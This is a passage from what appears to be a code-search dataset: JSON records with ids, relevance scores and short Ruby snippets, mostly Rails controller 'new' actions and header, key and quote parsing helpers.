"text": "def parse_result(param)\n\tHash[param.scan /([^=]+)=([^ ]+)[ $]/]\nend",
"title": ""
},
{
"docid": "cb0740b8c4a8190d34a432b916975847",
"score": "0.5101114",
"text": "def parse_sym(param)\n param.split(':')[1].to_sym\n end",
"title": ""
},
{
"docid": "08bdca1b88f7e2269c278419b4480b9a",
"score": "0.5083001",
"text": "def meta\n @meta ||= begin\n arr = @header_str.split(/\\r?\\n/)\n arr.shift\n arr.inject({}) do |hash, hdr|\n key, val = hdr.split(/:\\s+/, 2)\n hash[key.downcase] = val\n hash\n end\n end\n end",
"title": ""
},
{
"docid": "717c505084115ecf9cb2dbf57c3b116d",
"score": "0.508067",
"text": "def unquote(value)\n string = value.to_s\n if string =~ StrictQuotedMatcher\n string[1...-1]\n else\n string\n end\n end",
"title": ""
},
{
"docid": "84cbbada76c80807607493eea9b2c5b6",
"score": "0.5078578",
"text": "def parse_atx_header; end",
"title": ""
},
{
"docid": "8d9f12212f00c9c6108c61670e006ad5",
"score": "0.5075115",
"text": "def header(key)\n return false unless @args.fetch(:headers).key?(key)\n @args.fetch(:headers).fetch(key).first.to_s\n end",
"title": ""
},
{
"docid": "007887ef31ced973079a4005a6bcf993",
"score": "0.50726306",
"text": "def parse_key(key)\n key.gsub(\"]\", \"\").split(\"[\")\n end",
"title": ""
},
{
"docid": "87aaa70b8d1fd1ce952894ed22115512",
"score": "0.5071888",
"text": "def build_headers(headers)\n headers.select do |key, value|\n !(key.to_s =~ /cookie/i)\n end.inject([]) do |memo, header|\n memo << {\n :name => header[0].to_s.split('_').map(&:capitalize).join('-'),\n :value => header[1].to_s\n }\n end\nend",
"title": ""
},
{
"docid": "ffe275144800b12e110962b7cdf31400",
"score": "0.50690556",
"text": "def parse_headers(raw_headers)\n # raw headers from net_http have an array for each result. Flatten them out.\n raw_headers.inject({}) do |remainder, (k, v)|\n remainder[k] = [v].flatten.first\n remainder\n end\n end",
"title": ""
},
{
"docid": "27f23dd0c06f0d0a7b977597ad6bcf73",
"score": "0.50588393",
"text": "def header(key)\n return false unless headers.key?(key)\n\n headers.fetch(key).first.to_s\n end",
"title": ""
},
{
"docid": "7f9779824da778989657ff25484277e7",
"score": "0.50553524",
"text": "def parse_headers!(headers)\n @filename = headers[HEADER_CONTENT_DISPOSITION].split('filename=')[1]\n @filename = @filename[1...-1] if @filename[0] == '\"' # Unquote filenames\n end",
"title": ""
},
{
"docid": "1e78ef3773c4ae470f6975a94363a48e",
"score": "0.5049789",
"text": "def kv_decode(s); Hash[*s.split(10.chr).map {|l| l.split(\":\", 2) }.flatten] end",
"title": ""
},
{
"docid": "aaf99276be7c72dacead8d762b4d24dc",
"score": "0.50436395",
"text": "def parse\n @clause.is_a?(Hash) ? parse_hash : parse_string\n end",
"title": ""
},
{
"docid": "46e40017794f08ea3a5f8286fd4f452d",
"score": "0.5038432",
"text": "def parse_key(key)\n key.to_s.split(\"[\").map {|component|component.gsub(/]/,\"\")}\n end",
"title": ""
},
{
"docid": "afb82a47cd7227deee191aa096a41f94",
"score": "0.5034457",
"text": "def parse(authorization)\n auth_params = {}\n authorization.split.each do |param|\n parts = param.split('=', 2)\n auth_params[parts[0]] = parts[1]\n end\n auth_params\nend",
"title": ""
},
{
"docid": "803422c0bd9ec503193c338ee72047e9",
"score": "0.50307095",
"text": "def unquote(part)\n return part if part.blank?\n\n part.start_with?('\"') ? part[1..-2] : part\n end",
"title": ""
},
{
"docid": "f48614460c847c3c0388c3e287a995e3",
"score": "0.5024773",
"text": "def _quoted_hocon_key(key)\n case key\n when /^[^\"][^.]+/\n # if the key is unquoted and does not contain pathing ('.')\n # quote to ensure that puppet namespaces are protected\n # (\"puppet_enterprise::database_host\" for example...)\n then %Q{\"#{key}\"}\n else key\n end\n end",
"title": ""
},
{
"docid": "8d2e1708a71253ddfe5527a09a1d3c9c",
"score": "0.5021996",
"text": "def parse_headers(row = nil)\n if @headers.nil? # header row\n @headers = case @use_headers # save headers\n # Array of headers\n when Array then @use_headers\n # HBCSV header String\n when String\n self.class.parse_line( @use_headers,\n col_sep: @col_sep,\n row_sep: @row_sep,\n quote_char: @quote_char )\n # first row is headers\n else row\n end\n\n # prepare converted and unconverted copies\n row = @headers if row.nil?\n @headers = convert_fields(@headers, true)\n @headers.each { |h| h.freeze if h.is_a? String }\n\n if @return_headers # return headers\n return self.class::Row.new(@headers, row, true)\n elsif not [Array, String].include? @use_headers.class # skip to field row\n return shift\n end\n end\n\n self.class::Row.new(@headers, convert_fields(row)) # field row\n end",
"title": ""
},
{
"docid": "f0bbcb1282ed0cf250de830e4c6f1c18",
"score": "0.50151527",
"text": "def rfc_2045_quoted_string; end",
"title": ""
},
{
"docid": "2cae2564428a32dea0c2be32839020ae",
"score": "0.5013288",
"text": "def get_http_header line\n return nil if not is_http_header? line\n parts = line.split(':')\n {parts[0].strip => parts[1].strip}\n end",
"title": ""
},
{
"docid": "da6ed44fdccfca88194eb02d94657ec5",
"score": "0.50114876",
"text": "def verify_header\n # normal header like sample ==> Authorization 'ddd$$%gggrghHFDSS.HHJHTTGGR'\n if headers['Authorization'].present?\n headers['Authorization'].split(' ').last\n else\n errors.add(:token, 'Missing Token')\n nil\n end\n end",
"title": ""
}
] |
062bf8df389cdfa2263e435979742df1 | GET /abrechnungs/new GET /abrechnungs/new.xml | [
{
"docid": "a770cf2dc7d34a79280db0ed2c01598a",
"score": "0.76024336",
"text": "def new\n @abrechnung = Abrechnung.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @abrechnung }\n end\n end",
"title": ""
}
] | [
{
"docid": "09659b5e0a0b570d5c8019b81ae00efa",
"score": "0.7648942",
"text": "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end",
"title": ""
},
{
"docid": "be26db5f0081be6c1b5d8fc423eda127",
"score": "0.75460243",
"text": "def new\n @uitgelicht = Uitgelicht.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uitgelicht }\n end\n end",
"title": ""
},
{
"docid": "a23f70d6c3db9fd37beeef7a3f99c613",
"score": "0.7531",
"text": "def new\n @aplicacion = Aplicacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end",
"title": ""
},
{
"docid": "22dc12226554bc09bbf1ef8763f190bf",
"score": "0.75152504",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"title": ""
},
{
"docid": "06530129851f5f89d72166a8fd060562",
"score": "0.7484516",
"text": "def new\n @annee = Annee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @annee }\n end\n end",
"title": ""
},
{
"docid": "a324dc8994a072232fc8c297fcdf0502",
"score": "0.74824685",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end",
"title": ""
},
{
"docid": "4c32f0d26de16f2add867cbec79b1ef2",
"score": "0.7481827",
"text": "def new\n @spielbegegnung = Spielbegegnung.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spielbegegnung }\n end\n end",
"title": ""
},
{
"docid": "168e7db4e9c74fbcad88ded0f23f7b4e",
"score": "0.7474244",
"text": "def new\n @receita = Receita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @receita }\n end\n end",
"title": ""
},
{
"docid": "b9c4c19512a83085854eac2535d9ab6c",
"score": "0.74491465",
"text": "def new\n @relatestagiario = Relatestagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end",
"title": ""
},
{
"docid": "6a6bdd9c9ce15a971150e9cec2675c41",
"score": "0.7442222",
"text": "def new\n @abonne = Abonne.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @abonne }\n end\n end",
"title": ""
},
{
"docid": "a317009dc373677662764468be936454",
"score": "0.7432379",
"text": "def new\n @estatu = Estatu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estatu }\n end\n end",
"title": ""
},
{
"docid": "aea5380e9b595f3c98c75b77ac0d24f1",
"score": "0.7418685",
"text": "def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end",
"title": ""
},
{
"docid": "8d2f51eb5cd0c5af86c36b1f298fd724",
"score": "0.741502",
"text": "def new\n @aniversario = Aniversario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aniversario }\n end\n end",
"title": ""
},
{
"docid": "e69ee64e64f87a13695072a316378657",
"score": "0.74090534",
"text": "def new\n @alfabe = Alfabe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alfabe }\n end\n end",
"title": ""
},
{
"docid": "71279bb1ce75c7f6722d06cab8720bdf",
"score": "0.7379128",
"text": "def new\n @estacion = Estacion.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estacion }\n end\n end",
"title": ""
},
{
"docid": "a83173640f77272bfb6f58a0a65c7e67",
"score": "0.73756677",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"title": ""
},
{
"docid": "b05143a1ddbdfa9e602d2b5517e17e2a",
"score": "0.73727214",
"text": "def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spiel }\n end\n end",
"title": ""
},
{
"docid": "c3667c237fbf3ef9604911f3c0df14d9",
"score": "0.73541224",
"text": "def new\n @newz = Newz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newz }\n end\n end",
"title": ""
},
{
"docid": "3b67635fdae2104771c4170ad5384f20",
"score": "0.7345675",
"text": "def new\n @nom = Nom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nom }\n end\n end",
"title": ""
},
{
"docid": "2664d0b0ed509d2f2cae0e33e317443f",
"score": "0.73443186",
"text": "def new\n @periodista = Periodista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @periodista }\n end\n end",
"title": ""
},
{
"docid": "b11de75d905f75f955b8718f2ec82e6c",
"score": "0.7335956",
"text": "def new\n @aanwezig = Aanwezig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aanwezig }\n end\n end",
"title": ""
},
{
"docid": "af952f4f1ac079d083e32e81527f30b2",
"score": "0.73319435",
"text": "def new\n @lieu = Lieu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lieu }\n end\n end",
"title": ""
},
{
"docid": "5a14ef88b7002e879059d8b61c1e76ad",
"score": "0.72979283",
"text": "def new\n @estagio = Estagio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagio }\n end\n end",
"title": ""
},
{
"docid": "0ae4f1c30e324adbb393d16ff9d923f3",
"score": "0.72948515",
"text": "def new\n @vestimenta = Vestimenta.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vestimenta }\n end\n end",
"title": ""
},
{
"docid": "3cde6f612755b778063141f069b60654",
"score": "0.7286768",
"text": "def new\n @pagare = Pagare.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pagare }\n end\n end",
"title": ""
},
{
"docid": "04f07ea2f87499dfa9163927243a2a17",
"score": "0.7284573",
"text": "def new\n @asambleista = Asambleista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asambleista }\n end\n end",
"title": ""
},
{
"docid": "dec6e6c422219911b1121e89d5ec08ef",
"score": "0.7275933",
"text": "def new\n @regiaos = Regiao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @regiaos }\n end\n end",
"title": ""
},
{
"docid": "85848544ada1259fabad5a473fc20e3e",
"score": "0.72739077",
"text": "def new\n @contrato = Contrato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contrato }\n end\n end",
"title": ""
},
{
"docid": "cb4faa7f455925168765ff036a23ab58",
"score": "0.7273679",
"text": "def new\n @adjunto = Adjunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @adjunto }\n end\n end",
"title": ""
},
{
"docid": "41650db805ea0751d4314f77d3199296",
"score": "0.7270737",
"text": "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end",
"title": ""
},
{
"docid": "55d9b6b6f53b9fd7b45063675ebc9da9",
"score": "0.7248726",
"text": "def new\n @pagamento = Pagamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pagamento }\n end\n end",
"title": ""
},
{
"docid": "16e0e0d312eda8519f7c31de01038c04",
"score": "0.72390586",
"text": "def new\n @entrada = Entrada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entrada }\n end\n end",
"title": ""
},
{
"docid": "09dc43598d0d78d615953e70b22b387a",
"score": "0.7233329",
"text": "def new\n @crianca = Crianca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crianca }\n end\n end",
"title": ""
},
{
"docid": "b555cc438350b9d9ee65db4a03a962d5",
"score": "0.72330934",
"text": "def new\n @aisle = Aisle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aisle }\n end\n end",
"title": ""
},
{
"docid": "32d23e457194194ed523de156ee89693",
"score": "0.7232184",
"text": "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "8d7a8aa8a36a32f626bd1ef2f5fadef2",
"score": "0.72298306",
"text": "def new\n @asistencia = Asistencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asistencia }\n end\n end",
"title": ""
},
{
"docid": "c8e2607e9763289932ae2d28aad9837c",
"score": "0.7229515",
"text": "def new\n @prueba = Prueba.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prueba }\n end\n end",
"title": ""
},
{
"docid": "9f1bf30c56152e659b317142ea7151a4",
"score": "0.7229199",
"text": "def new\n @proceso = Proceso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proceso }\n end\n end",
"title": ""
},
{
"docid": "0d1b1c77eab1c5ce9b5e6d046cc1ee63",
"score": "0.7227882",
"text": "def new\n @dokuei = Dokuei.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dokuei }\n end\n end",
"title": ""
},
{
"docid": "718711caf8c59b5f9aa9041d9cd0ffca",
"score": "0.7225476",
"text": "def new\n @estudiante = Estudiante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estudiante }\n end\n end",
"title": ""
},
{
"docid": "afa429c920e975a4eb1ec6f76c54ee7c",
"score": "0.7222554",
"text": "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"title": ""
},
{
"docid": "0c77c6b296e96e63f082db7e7d8603ad",
"score": "0.7221997",
"text": "def new\n @inscripcione = Inscripcione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inscripcione }\n end\n end",
"title": ""
},
{
"docid": "d39a08c02b4e0f7d6c12049d75809a6e",
"score": "0.7221558",
"text": "def new\n @muestra = Muestra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @muestra }\n end\n end",
"title": ""
},
{
"docid": "f298943a3261940f18bc16595247017b",
"score": "0.72147346",
"text": "def new\n @bonificacion = Bonificacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bonificacion }\n end\n end",
"title": ""
},
{
"docid": "49c9ec2d59aa08047cc82a1969942c2e",
"score": "0.7213207",
"text": "def new\n @ponto = Ponto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ponto }\n end\n end",
"title": ""
},
{
"docid": "9ab700b1e6eb48c7a6f72c81ee57ddd1",
"score": "0.7208311",
"text": "def new\n @noticia = Noticia.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noticia }\n end\n end",
"title": ""
},
{
"docid": "e498d0d2dc82cba2fc55ed80dcefe6a1",
"score": "0.72040117",
"text": "def new\n @elemento = Elemento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @elemento }\n end\n end",
"title": ""
},
{
"docid": "807bcf81c18e4f6194cef4519e8c4298",
"score": "0.72033477",
"text": "def new\n @feria2010observacion = Feria2010observacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end",
"title": ""
},
{
"docid": "b28b4baf67c41b19866dc1cb101a2fae",
"score": "0.7201639",
"text": "def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end",
"title": ""
},
{
"docid": "c29530cba66df1b2ed1f1b5bdf4bb09c",
"score": "0.71980965",
"text": "def new\n @ficha_tematica = FichaTematica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ficha_tematica }\n end\n end",
"title": ""
},
{
"docid": "3b4274dc66ca06ea76b49e91daaa244a",
"score": "0.71953946",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ciclo }\n end\n end",
"title": ""
},
{
"docid": "6b0a1b7fe667cbce2cdecff2fa9be2a6",
"score": "0.7192936",
"text": "def new\n @senhas = Senha.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @senhas }\n end\n end",
"title": ""
},
{
"docid": "aaa7c89f22bf5c2a5fecb7c2d4c853ed",
"score": "0.71903443",
"text": "def new\n @repasse_fabrica = RepasseFabrica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repasse_fabrica }\n end\n end",
"title": ""
},
{
"docid": "79c766a084106c29dbfa85b40cdc77c5",
"score": "0.7184781",
"text": "def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end",
"title": ""
},
{
"docid": "79c766a084106c29dbfa85b40cdc77c5",
"score": "0.7184781",
"text": "def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end",
"title": ""
},
{
"docid": "573badd6d6f9fd7fc720764df79d3bb4",
"score": "0.71847516",
"text": "def new\n @situacoes_juridica = SituacoesJuridica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @situacoes_juridica }\n end\n end",
"title": ""
},
{
"docid": "0622c1ffa65ef169daa4cd6962931793",
"score": "0.71810657",
"text": "def new\n @inventario = Inventario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inventario }\n end\n end",
"title": ""
},
{
"docid": "3257dbe793a27a3cc27f82ee4295527c",
"score": "0.718001",
"text": "def new\n @dossier = Dossier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dossier }\n end\n end",
"title": ""
},
{
"docid": "e3e6753decce604e71aaef418af132b1",
"score": "0.7178206",
"text": "def new\n @estagiarios = Estagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end",
"title": ""
},
{
"docid": "05455276b437b29d7fbd3b28443f0a46",
"score": "0.71646583",
"text": "def new\n @coleccionista = Coleccionista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @coleccionista }\n end\n end",
"title": ""
},
{
"docid": "04de109f239f91d5ebfa1c5f5e16ab19",
"score": "0.7163797",
"text": "def new\n @publicacion = Publicacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @publicacion }\n end\n end",
"title": ""
},
{
"docid": "40e2606964c25dac2daff292595cf08b",
"score": "0.71616113",
"text": "def new\n @solicitud = Solicitud.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitud }\n end\n end",
"title": ""
},
{
"docid": "45c6077d288a68404701250cc03174c1",
"score": "0.71547383",
"text": "def new\n @pagos_detalhe = PagosDetalhe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pagos_detalhe }\n end\n end",
"title": ""
},
{
"docid": "a46558d40707a1655a657216c17ea8af",
"score": "0.7153023",
"text": "def new\n @tipo_contrato = TipoContrato.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipo_contrato }\n end\n end",
"title": ""
},
{
"docid": "2a238180fe8dff34313e589d4979222b",
"score": "0.7152376",
"text": "def new\n @pagina = Pagina.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pagina }\n end\n end",
"title": ""
},
{
"docid": "5f0ef8f4fb5089500895eb10e76a37b0",
"score": "0.71460176",
"text": "def new\n @ambito = Ambito.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ambito }\n end\n end",
"title": ""
},
{
"docid": "061c8e66ff8e05261774391875b18c75",
"score": "0.7127489",
"text": "def new\n @aktion = Aktion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aktion }\n end\n end",
"title": ""
},
{
"docid": "6608f1f008b555a832fcbbf1694c1244",
"score": "0.71253",
"text": "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end",
"title": ""
},
{
"docid": "db085179b0b14b9d49a9bc653e7825aa",
"score": "0.71220267",
"text": "def new\n @puesto = Puesto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @puesto }\n end\n end",
"title": ""
},
{
"docid": "37535a37d7e177c9ea0850fe8b3f2d45",
"score": "0.712067",
"text": "def new\n @cita = Cita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cita }\n end\n end",
"title": ""
},
{
"docid": "37535a37d7e177c9ea0850fe8b3f2d45",
"score": "0.712067",
"text": "def new\n @cita = Cita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cita }\n end\n end",
"title": ""
},
{
"docid": "af3036441d8826af84b07d6c83e7027f",
"score": "0.71201736",
"text": "def new\n @remocao = Remocao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @remocao }\n end\n end",
"title": ""
},
{
"docid": "7e363af092418d52e10bd1fb16520829",
"score": "0.7114111",
"text": "def new\n @catena = Catena.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catena }\n end\n end",
"title": ""
},
{
"docid": "0c19806d86a57b207ebc95a1bb8fed62",
"score": "0.7114044",
"text": "def new\n @leilao = Leilao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @leilao }\n end\n end",
"title": ""
},
{
"docid": "2a6902185c51ff4978ca59150d5cbd99",
"score": "0.7107032",
"text": "def new\n @movimento = Movimento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movimento }\n end\n end",
"title": ""
},
{
"docid": "2a6902185c51ff4978ca59150d5cbd99",
"score": "0.7107032",
"text": "def new\n @movimento = Movimento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movimento }\n end\n end",
"title": ""
},
{
"docid": "ffcd73f0bc09d983a191d1fea555a74d",
"score": "0.7104692",
"text": "def new\n @aviso = Aviso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aviso }\n end\n end",
"title": ""
},
{
"docid": "7123a50a1d5ecd6d81b065e64c7a8aab",
"score": "0.71046156",
"text": "def new\n @tipo_de_documento = TipoDeDocumento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipo_de_documento }\n end\n end",
"title": ""
},
{
"docid": "5dd6ca235b122300175d5f47fa2e952c",
"score": "0.7099256",
"text": "def new\n @bibliografia = Bibliografia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bibliografia }\n end\n end",
"title": ""
},
{
"docid": "6e014d37b973d9e95c17cf3d951c9d0d",
"score": "0.7098545",
"text": "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end",
"title": ""
},
{
"docid": "6e014d37b973d9e95c17cf3d951c9d0d",
"score": "0.7098545",
"text": "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end",
"title": ""
},
{
"docid": "f941b42c2ec7c4a6d3a78bfa58e611cb",
"score": "0.70966",
"text": "def new\n @acre = Acre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @acre }\n end\n end",
"title": ""
},
{
"docid": "b8c4d04da1e737d50d6826eaa67b92e1",
"score": "0.709462",
"text": "def new\n @poblacionesespecial = Poblacionesespecial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poblacionesespecial }\n end\n end",
"title": ""
},
{
"docid": "70199fc91d7f90ebed5dd168b9372402",
"score": "0.7088798",
"text": "def new\n @historico = Historico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @historico }\n end\n end",
"title": ""
},
{
"docid": "c5164359d78c1b21969fa337399044f4",
"score": "0.70873874",
"text": "def new\n @partenaire = Partenaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partenaire }\n end\n end",
"title": ""
},
{
"docid": "c5164359d78c1b21969fa337399044f4",
"score": "0.70873874",
"text": "def new\n @partenaire = Partenaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partenaire }\n end\n end",
"title": ""
},
{
"docid": "7aa447eb42b82c3647d8fd3405af0ed9",
"score": "0.7079386",
"text": "def new\n @nota_destacada = NotaDestacada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota_destacada }\n end\n end",
"title": ""
},
{
"docid": "7d31a329452f45fcce7b6d36e199f47b",
"score": "0.7075698",
"text": "def new\n @lancamento = Lancamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lancamento }\n end\n end",
"title": ""
},
{
"docid": "becd0d43fc660849dfff8a4e81d40bb1",
"score": "0.70751774",
"text": "def new\n @lance_unico = LanceUnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lance_unico }\n end\n end",
"title": ""
},
{
"docid": "feb617470ccd100556f338a8c850b468",
"score": "0.70751566",
"text": "def new\n @precio = Precio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @precio }\n end\n end",
"title": ""
},
{
"docid": "195498e2f687d3a79c2400a36a4f74f7",
"score": "0.70735496",
"text": "def new\n @vigencia = Vigencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vigencia }\n end\n end",
"title": ""
},
{
"docid": "903b8519d2572465a9a35041f0119b6c",
"score": "0.70731425",
"text": "def new\n @retirada = Retirada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retirada }\n end\n end",
"title": ""
},
{
"docid": "c5c7dea4dc4e3a83fc25e7364d78eb87",
"score": "0.70731026",
"text": "def new\n @tipo_nota = TipoNota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipo_nota }\n end\n end",
"title": ""
},
{
"docid": "e095195dcedacbd9f7b5ba2106d56597",
"score": "0.70703894",
"text": "def new\n @compras_documento = ComprasDocumento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @compras_documento }\n end\n end",
"title": ""
},
{
"docid": "2d9039d372596c1e44ef71e38ddc52e2",
"score": "0.7069593",
"text": "def new\n @peca = Peca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peca }\n end\n end",
"title": ""
},
{
"docid": "b264f4eab37ef2613a93e7fcb21e46b1",
"score": "0.70690906",
"text": "def new\n @cabasiento = Cabasiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cabasiento }\n end\n end",
"title": ""
},
{
"docid": "6d05c358b3be8b3549b3a66cb0b37b74",
"score": "0.70648474",
"text": "def new\n @tcliente = Tcliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tcliente }\n end\n end",
"title": ""
},
{
"docid": "5aa3db8243b760746fbc599963430663",
"score": "0.70645756",
"text": "def new\n @unidade = Unidade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @unidade }\n end\n end",
"title": ""
},
{
"docid": "56a141712699fdc2e05e93f8b8670295",
"score": "0.7063579",
"text": "def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @projeto }\n end\n end",
"title": ""
},
{
"docid": "b801432fc0090f10e78bde6ba26a2cfb",
"score": "0.7062873",
"text": "def new\n @documentoclasificacion = Documentoclasificacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentoclasificacion }\n end\n end",
"title": ""
}
] |
439cf806dfa08245f3001a0151fe0c10 | Renders the primary_navigation with the configured renderer. Calling render_navigation(:level => :primary) has the same effect. | [
{
"docid": "f51408b5b8077620c38c050b014ccfa6",
"score": "0.8466951",
"text": "def render_primary_navigation(options = {})\n render_navigation(options.merge(:level => :primary))\n end",
"title": ""
}
] | [
{
"docid": "ec52cf1e5f0f1657c3cf64f77b550951",
"score": "0.71770066",
